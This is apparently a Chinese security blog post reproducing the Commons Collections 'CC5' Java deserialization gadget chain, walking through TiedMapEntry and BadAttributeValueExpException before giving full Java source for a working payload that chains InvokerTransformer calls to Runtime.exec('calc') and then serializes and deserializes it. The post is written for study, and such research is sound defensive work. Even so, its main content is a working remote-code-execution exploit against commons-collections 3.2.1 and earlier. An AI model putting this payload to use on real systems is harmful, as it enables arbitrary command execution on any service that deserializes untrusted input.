java 反序列化 cc5复现

复现环境:common-collections版本<=3.2.1,java版本随意.cc5则是cc6的一个变形,换了一个出口.直接从有变化的位置开看.

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {  
    private static final long serialVersionUID = -8453869361373831205L;  
    private final Map map;  
    private final Object key;  
    
    public TiedMapEntry(Map map, Object key) {  
        this.map = map;  
        this.key = key;  
    }  
    
    public Object getValue() {  
        return this.map.get(this.key);  
    }  
    
    public int hashCode() {  
        Object value = this.getValue();  
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());  
    }  
  
    public String toString() {  
        return this.getKey() + "=" + this.getValue();  
    }  
}

通过getValue去触发LazyMapget这点没有变,之前在cc6的时候是通过hashCode去触发的getValue,这里我们改变一下,通过toString来触发getValue

BadAttributeValueExpException

直接看这个类的readObject方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {  
    ObjectInputStream.GetField gf = ois.readFields();  
    Object valObj = gf.get("val", null);  
  
    if (valObj == null) {  
        val = null;  
    } else if (valObj instanceof String) {  
        val= valObj;  
    } else if (System.getSecurityManager() == null  
            || valObj instanceof Long  
            || valObj instanceof Integer  
            || valObj instanceof Float  
            || valObj instanceof Double  
            || valObj instanceof Byte  
            || valObj instanceof Short  
            || valObj instanceof Boolean) {  
        val = valObj.toString();  
    } else { // the serialized object is from a version without JDK-8019292 fix  
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();  
    }  
}

可以看到相当于触发了valtoString方法.然而这个val不能通过构造方法去赋值.

public BadAttributeValueExpException (Object val) {  
    this.val = val == null ? null : val.toString();  
}

否则会在构造方法处直接触发toString,应该通过反射去修改.
写成了payload

package org.example;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
  
import javax.management.BadAttributeValueExpException;  
import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception {  
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);  
  
        String MethodName1 = "getMethod";  
        Class[] ParmaType1 = {String.class, Class[].class};  
        Object[] Parma1 = {"getRuntime", null};  
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);  
  
        String MethodName2 = "invoke";  
        Class[] ParmaType2 = {Object.class, Object[].class};  
        Object[] Parma2 = {null, null};  
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);  
  
        String MethodName3 = "exec";  
        Class[] ParmaType3 = {String.class};  
        Object[] Parma3 = {"calc"};  
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);  
  
        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);  
  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);  
        Class<?> clazz = badAttributeValueExpException.getClass();  
        Field val = clazz.getDeclaredField("val");  
        val.setAccessible(true);  
        val.set(badAttributeValueExpException, tiedMapEntry);  
  
        serial(badAttributeValueExpException);  
        unserial();  
  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

归纳总结得出利用链:

Gadget chain:
ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()
posted @ 2024-11-15 09:25  meraklbz  阅读(2)  评论(0编辑  收藏  举报